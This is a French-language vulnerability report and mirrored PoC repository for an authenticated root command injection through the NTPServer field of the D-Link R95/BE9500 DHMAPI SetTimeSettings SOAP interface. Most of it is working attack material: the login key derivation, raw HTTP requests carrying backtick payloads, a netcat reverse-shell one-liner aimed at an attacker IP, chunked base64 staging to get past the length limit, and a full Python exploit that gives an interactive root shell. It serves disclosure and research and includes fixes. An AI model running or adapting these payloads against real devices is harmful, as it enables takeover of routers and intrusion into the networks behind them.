
PoC d'injection de commande authentifiée pour D-Link R95/BE9500 DHMAPI SetTimeSettings, permettant une RCE root via l'injection de backticks dans NTPServer, avec un script d'exploitation complet.
Le routeur intelligent D-Link R95 BE9500 Wi-Fi 7 (version de firmware BE9500_1.00.16) contient une vulnérabilité d'injection de commandes dans l'interface DHMAPI (SOAP over HTTPS) lors du traitement des requêtes SetTimeSettings. Le champ <NTPServer> contrôlé par l'utilisateur est stocké dans la base de données de configuration sans aucune sanitisation ni validation des métacaractères shell. Par la suite, lorsque la configuration est synchronisée vers UCI (ntpclient.@ntpserver[0].hostname), le service backend vulnérable construit et exécute une commande shell entourée de guillemets doubles via un appel de type system(). En injectant des backticks (```) dans la valeur <NTPServer>, un attaquant peut réaliser une substitution de commande — le shell évalue le contenu injecté avant d'exécuter la commande concaténée, permettant l'exécution de commandes arbitraires avec les privilèges root (uid=0).
L'attaque nécessite une session de gestion web valide (sid) obtenue via un accès authentifié (testé avec le compte administrateur Admin). Cette vulnérabilité est en outre amplifiée par les identifiants par défaut faibles de l'appareil ou par d'éventuels problèmes de contournement d'authentification, élargissant considérablement la surface d'attaque réelle.
Un attaquant authentifié peut exécuter des commandes arbitraires avec les privilèges root, menant à la compromission totale de l'appareil — notamment la lecture de fichiers sensibles (par exemple le chiffré /etc/rg_config/admin, l'extraction de sauvegardes complètes de configuration), l'installation de portes dérobées persistantes, l'établissement de reverse shells, et le pivotement vers le réseau interne pour des attaques de mouvement latéral.
La vulnérabilité réside dans le binaire backend de gestion web /bin/ssi (s'exécutant en tant que root), qui implémente l'interface SOAP DHMAPI.
Source de contamination — le gestionnaire SetTimeSettings (fonction à l'offset 0x6bd84 dans ssi, firmware 1.01B06) :
<NTPServer> de la requête SOAP vers un tampon de pile, limité en longueur à 0x3f (63 octets) — il s'agit d'une limite de taille de tampon, pas d'un contrôle de sécurité.time.value.NTPServer via un setter interne — aucun filtrage ni échappement des métacaractères shell n'est effectué à aucun moment.Puits de contamination — synchronisation de la configuration vers UCI. ssi synchronise les valeurs de configuration en les concaténant dans des chaînes de commandes shell exécutées via des appels de type system(). Les chaînes de format intégrées trouvées dans le binaire incluent :
uci set %s="%s" > /dev/null
Comme la valeur est entourée de guillemets doubles, le shell effectue une substitution de commande sur les backticks (`) / $() à l'intérieur de la valeur avant d'exécuter la commande concaténée. Étant donné que ssi s'exécute en tant que root, la commande injectée s'exécute avec les privilèges root.
Les preuves temporelles confirment que l'évaluation se produit de manière synchrone dans le chemin de traitement de la requête : injecter `sleep 10` retarde la réponse HTTP d'environ 10 secondes. La valeur empoisonnée persiste en outre dans UCI (ntpclient.@ntpserver[0].hostname) et est ensuite consommée sans guillemets par /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), une faille de durcissement secondaire.
Contraintes d'exploitation (vérifiées) :
Toutes les requêtes DHMAPI doivent porter :
Cookie: uid=<session cookie> (issu de la connexion)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction correspondant à l'action SOAP, plus User-Agent et Referer (l'absence de UA/Referer produit HTTP 400/500)ts est un horodatage en millisecondes ; l'appareil ne valide pas la fraîcheur, donc une valeur fixe est réutilisableDérivation de privkey :
Login / Action=request (signé avec la chaîne de clé statique withoutloginkey) renvoie Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (ou le mot de passe en clair lorsque SaltHash est absent)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login avec ce qui précède renvoie <LoginResult>success</LoginResult> ; les requêtes suivantes utilisent Cookie: uid=<step-1 Cookie> signé avec POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Attendu : <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
Corps de réponse observé :
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
La réponse HTTP est retardée d'environ 10 secondes ; un nom de serveur NTP bénin renvoie immédiatement.
La limite de 63 octets du champ est contournée en écrivant un script en fragments base64 :
SetTimeSettings répétées, chacune ajoutant un fragment :
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs (noter les espaces obligatoires autour des pipes pour busybox ash) :
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`Résultat : un shell root interactif (~ #, BusyBox ash) est reçu sur l'écouteur de l'attaquant.
EXP :
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
def post(action, inner, key=None, ck=None):
body = ('<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
'<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
"Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}
if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)
def login():
global privkey, cookie
r = post("Login", "<Action>request</Action><Username>%s</Username>"
"<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
if not challenge:
print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
e = PASSWORD
if salthash:
e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
salthash.encode(), 5000, dklen=32)).decode()
privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
"<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
if "success" not in r2.text.lower():
print("[!] login failed:", r2.text[:200]); sys.exit(1)
print("[+] login OK, cookie=%s" % cookie)
def inject(cmd):
"""Execute one shell command via the NTPServer backtick injection (no output channel)"""
if "&" in cmd:
print("[!] command must not contain '&'"); return False
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
if r.status_code == 401:
print("[*] session expired, re-authenticating..."); login()
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
return r.status_code == 200
def run(cmd):
"""Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
cmd = cmd.strip()
if not cmd: return
direct = "%s>%s" % (cmd, OUT)
if len(direct) <= 54:
ok = inject(direct)
else:
b64 = base64.b64encode(cmd.encode()).decode()
inject("rm -f /tmp/x")
for i in range(0, len(b64), 40):
if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
print("[!] fragment injection failed"); return
inject("base64 -d /tmp/x>/tmp/x.sh")
ok = inject("sh /tmp/x.sh>%s" % OUT)
if not ok:
print("[!] injection request failed"); return
time.sleep(1)
r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}, timeout=15)
out = r.text.rstrip("\n")
print(out if out else "(no output)")
if __name__ == "__main__":
login()
if len(sys.argv) > 1:
run(" ".join(sys.argv[1:])); sys.exit(0)
print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
while True:
try: c = input("r95# ")
except (EOFError, KeyboardInterrupt): break
if c.strip() in ("exit", "quit"): break
run(c)

ssi stocke le champ NTPServer (et les champs frères dans le même gestionnaire) dans la base de données de configuration sans aucune sanitisation ;system() avec la valeur entourée de guillemets doubles, ce qui amène le shell à évaluer les backticks / $() dans la valeur ;ssi s'exécute en tant que root, donc les commandes injectées s'exécutent avec le privilège le plus élevé.Le même schéma de code produit au moins 7 points d'injection de commandes authentifiés supplémentaires dans ce firmware (TZLocation, DeviceName, DDNS Hostname/Username, client NickName, et une injection de second ordre via SetNetworkSettings), tous vérifiés avec une exécution uid=0(root).
[A-Za-z0-9.-]) aux champs de saisie de type nom d'hôte avant stockage ;system() par l'API libuci (déjà liée dans ssi) ou par des appels de la famille exec* sans shell ;$HOSTNAME dans /bin/start_ntpclient.sh ;Ce dépôt est un miroir de distribution intermédiaire du PoC de la vulnérabilité CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI command injection) (l'analyse technique se trouve dans le rapport original amont ci-dessus D-Link R95 BE9500.md). Le contenu est mis en miroir depuis le dépôt PoC public amont, à des fins d'archivage et de distribution uniquement. Le PoC est destiné uniquement à la recherche en sécurité, à la validation de vulnérabilités et aux tests autorisés ; ne l'utilisez pas sur des cibles non autorisées.
<NTPServer> de la requête SetTimeSettings de l'interface DHMAPI (SOAP over HTTPS)/bin/ssiPrincipe de base : la fonction de traitement SetTimeSettings de /bin/ssi (offset 0x6bd84) stocke le champ <NTPServer> (limite de longueur 0x3f=63 octets, mais sans aucun filtrage des métacaractères shell) tel quel dans la base de configuration ; lors de la synchronisation de la configuration vers UCI, ssi concatène la valeur dans une chaîne shell du type uci set %s="%s" > /dev/null et l'exécute avec system() — la valeur étant entourée de guillemets doubles, le shell effectue une substitution de commande sur les backticks / $(), et comme ssi s'exécute en root, la commande injectée s'exécute avec tous les privilèges.
D-Link R95 BE9500.md —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png —— 上游报告附图(5 张)
requestspython r95_exp.py # interactive root shell (commands run as root on the device)
python r95_exp.py "id" # run a single command
⚠️ Attention : la limite de longueur du champ d'injection est d'environ 63 octets, et la commande ne doit pas contenir
&; l'EXP injecte directement les commandes ≤54 octets, et pour les commandes plus longues, découpe automatiquement en fragments base64 écrits dans/tmp/xpuis décodés et exécutés, la sortie étant écrite dans la racine web/www/epuis récupérée via HTTP.
Ce PoC est destiné uniquement à l'enseignement, à la recherche en sécurité et aux tests autorisés, et ne doit être exécuté que sur des appareils vous appartenant ou pour lesquels vous disposez d'une autorisation explicite. L'exploitation exécute des commandes arbitraires avec les privilèges root sur l'appareil ; testez dans un environnement de laboratoire jetable.
LICENSE).| Contrainte | Résultat vérifié |
|---|
| Longueur du champ | ≤ 63 octets acceptés ; 60 octets OK, 80 octets rejetés (HTTP 400) |
Caractère & | Ne doit pas apparaître (casse la ligne de commande concaténée) |
| Syntaxe d'injection | Backticks `cmd` vérifiés ; $(cmd) devrait fonctionner de manière équivalente |
| Contexte d'exécution | uid=0(root) gid=0(root) |
| Canal de sortie | Pas d'écho direct ; redirection vers la racine web (> /www/<file>) et récupération via HTTP GET |
privkey